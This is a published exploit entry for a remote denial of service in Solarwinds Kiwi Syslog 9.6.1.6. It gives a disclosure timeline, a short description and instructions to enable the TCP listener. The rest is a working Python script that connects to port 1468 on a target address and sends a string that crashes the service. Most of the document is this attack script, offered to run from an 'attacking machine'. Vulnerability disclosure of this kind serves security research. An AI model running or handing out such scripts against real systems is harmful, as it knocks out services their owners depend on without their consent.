Solarwinds Kiwi Syslog 9.6.1.6 Denial Of Service

`# Exploit Title: Solarwinds Kiwi Syslog 9.6.1.6 - Remote Denial of Service (Type Mismatch)  
# Date: 26/05/2017  
# Exploit Author: Guillaume Kaddouch  
# Twitter: @gkweb76  
# Blog: https://networkfilter.blogspot.com  
# GitHub: https://github.com/gkweb76/exploits  
# Vendor Homepage: http://www.solarwinds.com/  
# Software Link: http://downloads.solarwinds.com/solarwinds/Release/Kiwi/Syslog/Kiwi-Syslog-Server-9.6.1-Eval.zip  
# Version: 9.6.1.6  
# Tested on: Windows 7 SP1 Family x64 (FR) and Windows 8.1 Pro x64  
# Category: DoS  
  
"""  
Disclosure Timeline:  
--------------------  
2017-05-20: Vulnerability discovered  
2017-05-26: Vendor contacted  
2017-05-31: Vendor answered (technical support)  
2017-05-31: Vendor contacted (no answer)  
2017-08-01: Exploit published  
  
  
Description :  
-------------  
A remote Denial of Service exists in Kiwi Syslog 9.6.1.6 in the TCP listener.  
Apparently any data sent to it make it crash because of a Type Mismatch error.  
The syslog TCP listener is disabled by default.  
  
  
Instructions:  
-------------  
- Starts Kiwi Syslog, and enable the TCP listener in the settings, default port is 1468.  
- Run this exploit locally or from your remote attacking machine.  
"""  
  
#!/usr/bin/python  
import socket  
  
host = "10.0.0.56"  
port = 1468  
  
buffer = "crash please?"  
  
try:  
print "[*] Connecting to %s:%d" % (host, port)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
  
print "[*] Sending buffer... (%d bytes)" % len(buffer)  
s.send(buffer)  
s.close()  
  
print "[*] Done."  
except:  
print "[-] Error connecting"  
  
  
  
`